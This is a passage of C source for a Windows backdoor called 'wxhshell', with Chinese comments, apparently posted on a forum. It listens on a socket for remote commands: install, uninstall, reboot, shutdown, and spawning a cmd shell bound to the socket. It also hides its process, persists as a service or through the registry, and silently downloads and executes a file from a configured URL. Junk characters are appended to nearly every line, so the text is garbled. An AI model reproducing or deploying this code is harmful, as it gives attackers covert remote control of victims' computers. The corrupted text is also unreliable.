    switch(cmd[0]) { BEOPZ[Q|c  
  hWy@?r.  
  // 帮助 +cH>'OXoB  
  case '?': { iAz0 A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fmixWL7.Zg  
    break; jfMkN  
  } qx ki  
  // 安装 Cx2# 0$  
  case 'i': { tczJk1g}  
    if(Install()) <iky~iE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /wLBmh1"  
    else x@OBGKV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rQ.zqr  
    break; o-=|}u]mz  
    } f8;?WSGyD2  
  // 卸载 }<^mUG  
  case 'r': { O(/~cQ  
    if(Uninstall()) }&vD(hX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 86{>X5+  
    else j,i9,oF6]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vxZ'-&;t  
    break; _RaE: )  
    } 3 2z4G =l  
  // 显示 wxhshell 所在路径 u ]"fwkL  
  case 'p': { 4gen,^Ij  
    char svExeFile[MAX_PATH]; ^.6yzlY  
    strcpy(svExeFile,"\n\r"); )g'J'_Sl  
      strcat(svExeFile,ExeFile); V*@aE  
        send(wsh,svExeFile,strlen(svExeFile),0); ;M.Q=#;E  
    break; t"4* ]S  
    } p3Ux%/ZqPV  
  // 重启 \#,2#BmO"E  
  case 'b': { vW &G\L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9E ^!i  
    if(Boot(REBOOT)) g[(@@TiG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .aT@'a{F  
    else { K;6#v%  
    closesocket(wsh); ':(AiD-}  
    ExitThread(0); :GIBB=D9  
    } gkd4)\9  
    break; gk|>E[.  
    } oJ4HvrUO  
  // 关机 tY;<S}[@7w  
  case 'd': { 0I.KHIB k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %j\&}>P4$  
    if(Boot(SHUTDOWN)) ui>jJ(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kzrd<h]`)  
    else { f 0H.$UAL  
    closesocket(wsh); v7"VH90`!  
    ExitThread(0); 56)!&MF  
    } +E</A:|}S  
    break; 7*PBJt\  
    } ;y,g%uqE  
  // 获取shell 3/+kjY/  
  case 's': { GY%5N= u  
    CmdShell(wsh); $rXCNew(  
    closesocket(wsh); +KbkdY Z  
    ExitThread(0); b,^ "-r  
    break; H1c8]}  
  } R$awo/'^  
  // 退出 i3 eF_  
  case 'x': { _-C/s p^   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q=W.82.U  
    CloseIt(wsh); >+J}mo=*  
    break; wnC} TWxX  
    } mS'Ad<  
  // 离开 j{Px}f(=  
  case 'q': { }!_z\'u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NfClR HpVc  
    closesocket(wsh); HXU#Ux  
    WSACleanup(); ~6;I"0b5  
    exit(1); 3`&FXgo  
    break; rp4D_80q  
        } R0qZxoo  
  } 8r(a wp  
  } \oWpyT _  
`D(V_WZ  
  // 提示信息 \ UrD%;sq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 08xo_Oysq  
} ?XY'<]o E  
  } KdkL_GSLT  
U3N d\b'0  
  return; )pl5nu#<  
} y7>3hfn~w  
S'!&,Dxq^  
// shell模块句柄 |~5cN m  
int CmdShell(SOCKET sock) TBt5Nqks-  
{ GM2}]9  
STARTUPINFO si; ![%wM Pp  
ZeroMemory(&si,sizeof(si)); r2SZC`Z}-M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {Phq39g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2VY7?1Ab(@  
PROCESS_INFORMATION ProcessInfo; :4zu.  
char cmdline[]="cmd"; v's1 &%sM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d0)]^4HT|y  
  return 0; ?+.mP]d_  
} #A5X ,-4G  
^0v3NG6  
// 自身启动模式 W!<7OA g$  
int StartFromService(void) C_N|o|dX  
{ Z 01A~_  
typedef struct  [p6:uNo  
{ ]B )nN':  
  DWORD ExitStatus; c ?CD;Pk  
  DWORD PebBaseAddress; >>T7;[h  
  DWORD AffinityMask; jVnTpa!A  
  DWORD BasePriority; 8vuTF*{yZ  
  ULONG UniqueProcessId; S%MDQTM  
  ULONG InheritedFromUniqueProcessId; HVus\s\&y%  
}   PROCESS_BASIC_INFORMATION; MU$tX  
 `vH|P  
PROCNTQSIP NtQueryInformationProcess; T!,5dt8L  
Bg),Q8\I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j;.P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B}TY+@  
i6HRG\9nU  
  HANDLE             hProcess; ~qqxHymc  
  PROCESS_BASIC_INFORMATION pbi; <<LLEdB  
bRu 9*4t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kqKT>xo4EZ  
  if(NULL == hInst ) return 0; 5)< Y3nU~  
xF{%@t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _h<rVcl!wX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KNmU2-%l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m+XHFU  
#8h7C8]&  
  if (!NtQueryInformationProcess) return 0; DyqqY$ vH(  
-]^JaQw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }169]!R  
  if(!hProcess) return 0; _b<;n|^  
?'~u)O(n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 68P'<|u?  
(qFZF7(Xa  
  CloseHandle(hProcess); Lan|(!aW  
t)j$lmQn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iYBc4'X  
if(hProcess==NULL) return 0; _OG9wi(Fpx  
)yyH_Ax2  
HMODULE hMod; [lML^CYQ  
char procName[255]; ZY,$oFdsi  
unsigned long cbNeeded; 'l(s)Oa{M:  
zI[<uvxzW`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D4c'6WGb@  
f~W+Rt7o  
  CloseHandle(hProcess); 9_wDh0b~p  
O^!ds  
if(strstr(procName,"services")) return 1; // 以服务启动 SLEOc OAmD  
zV}:~;w  
  return 0; // 注册表启动 ~E 6sY  
} eikZ~!@  
eW 4[2Q  
// 主模块 Z&>Cdgt*  
int StartWxhshell(LPSTR lpCmdLine) ?u#s?$Y?  
{ K9ia|2f  
  SOCKET wsl; m Z +dr[  
BOOL val=TRUE; EHq; eF  
  int port=0; HXT"&c|  
  struct sockaddr_in door; -6J <{1V  
MUbKlX  
  if(wscfg.ws_autoins) Install(); zlP{1z;nV  
_LZ(HTX~  
port=atoi(lpCmdLine); gd * b0(  
lZRO"[<  
if(port<=0) port=wscfg.ws_port; 3U^Vz9LW  
j~Pw t9G  
  WSADATA data; [<,7LG<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DX!dU'tj  
Ra53M!>]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    d;>G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 47(_5PFb#  
  door.sin_family = AF_INET; Y `8)`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); - c>Vw&1  
  door.sin_port = htons(port); m7i_ Iv  
wtSU43D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (<_kq;XtN0  
closesocket(wsl); ^f>c_[fR  
return 1; )U|V|yem'  
} W5'6L =WG  
Q4 &P\V  
  if(listen(wsl,2) == INVALID_SOCKET) { aHC%:)ww:  
closesocket(wsl); ~zfF*A  
return 1; %J-:%i  
} "7EK{6&jQ  
  Wxhshell(wsl); ^U,iDK_  
  WSACleanup(); @8{8|P  
]h1.1@>xc  
return 0; :%9R&p:'ar  
517"x@6Q  
} d#+Ne f5  
W8QP6^lY  
// 以NT服务方式启动 <gi~:%T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) , poc!n//  
{ hzk!H]>E  
DWORD   status = 0; s@&3;{F6D  
  DWORD   specificError = 0xfffffff; Cxq |N]E  
F|6"-*[RS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o|d:rp!^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DcFY b|p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jA{B G_  
  serviceStatus.dwWin32ExitCode     = 0; $k )K}U  
  serviceStatus.dwServiceSpecificExitCode = 0; 4Ia'Yr  
  serviceStatus.dwCheckPoint       = 0; pHb,*C</  
  serviceStatus.dwWaitHint       = 0; An#[ +?  
DM v;\E~D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JE{ cZ<NNH  
  if (hServiceStatusHandle==0) return; 8J&9}@y  
+C;;4s)  
status = GetLastError(); -[vw 8  
  if (status!=NO_ERROR) LiFR7\z  
{ Zs}h>$E5_B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0TV16 --  
    serviceStatus.dwCheckPoint       = 0; [u*7( 4e  
    serviceStatus.dwWaitHint       = 0; ?r(vXq\  
    serviceStatus.dwWin32ExitCode     = status; EP;ts  
    serviceStatus.dwServiceSpecificExitCode = specificError; X&aQR[X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gktlwiCZ  
    return; U~sC%Ri-@U  
  } Am3j:|>*  
A #SO}c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B!`.,3  
  serviceStatus.dwCheckPoint       = 0; p cUccQ  
  serviceStatus.dwWaitHint       = 0; 3,i`FqQa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MY\mo,#  
} ZTqt4H  
w=-{njMz6&  
// 处理NT服务事件,比如:启动、停止 SZ4y\I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PDc4ok`)  
{ 0 )PZS>  
switch(fdwControl) H/W&a2R^P  
{ f]2gjQHM  
case SERVICE_CONTROL_STOP: y#Nrq9r:  
  serviceStatus.dwWin32ExitCode = 0; Q$'\_zV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?vD<_5K; I  
  serviceStatus.dwCheckPoint   = 0; d_:tiHw$  
  serviceStatus.dwWaitHint     = 0; *S <I!7Q  
  { >~_>.R+{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /;Cx|\  
  } N{RHbSa(  
  return; xPT$d,~"  
case SERVICE_CONTROL_PAUSE: cbou1Ei   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uVZm9Sp  
  break; JKp@fQT *  
case SERVICE_CONTROL_CONTINUE: s#0m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j;Lp@~M  
  break; biV|W@JM  
case SERVICE_CONTROL_INTERROGATE: 26zif  
  break; uGlz|C  
}; M>RLS/r>d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23;\l   
} 7~MWp4.   
ByWad@-6i  
// 标准应用程序主函数 tx3p, X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;F,6]LH!  
{ -jTK3&5  
>i1wB!gc8  
// 获取操作系统版本 A}pe>ja   
OsIsNt=GetOsVer();  q _;#EV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8BS$6Pa  
:/Y4I)'  
  // 从命令行安装 =5pwNi_S  
  if(strpbrk(lpCmdLine,"iI")) Install(); )d {8Cu6  
Y'6P ~C;v  
  // 下载执行文件 u4=ulgi  
if(wscfg.ws_downexe) { ;rCCkA6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V^9%+L+E5  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~te{9/   
} L(`q3>iC4.  
6NFLk+kqN  
if(!OsIsNt) { 2I4G=jM[  
// 如果时win9x,隐藏进程并且设置为注册表启动 b;mpZ|T.  
HideProc(); WIwGw%_~  
StartWxhshell(lpCmdLine); c3Ig4n0Y>  
} gd31ds!G  
else a 6fH*2E  
  if(StartFromService()) : SD3  
  // 以服务方式启动 # zd}xla0]  
  StartServiceCtrlDispatcher(DispatchTable); *i7-_pT  
else K,HR=5  
  // 普通方式启动 =PBJ+"DQs  
  StartWxhshell(lpCmdLine); ^dhtc% W>  
\w{fq+G  
return 0; =)6|lz^  
}
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只看该作者 1 发表于: 2006-10-10
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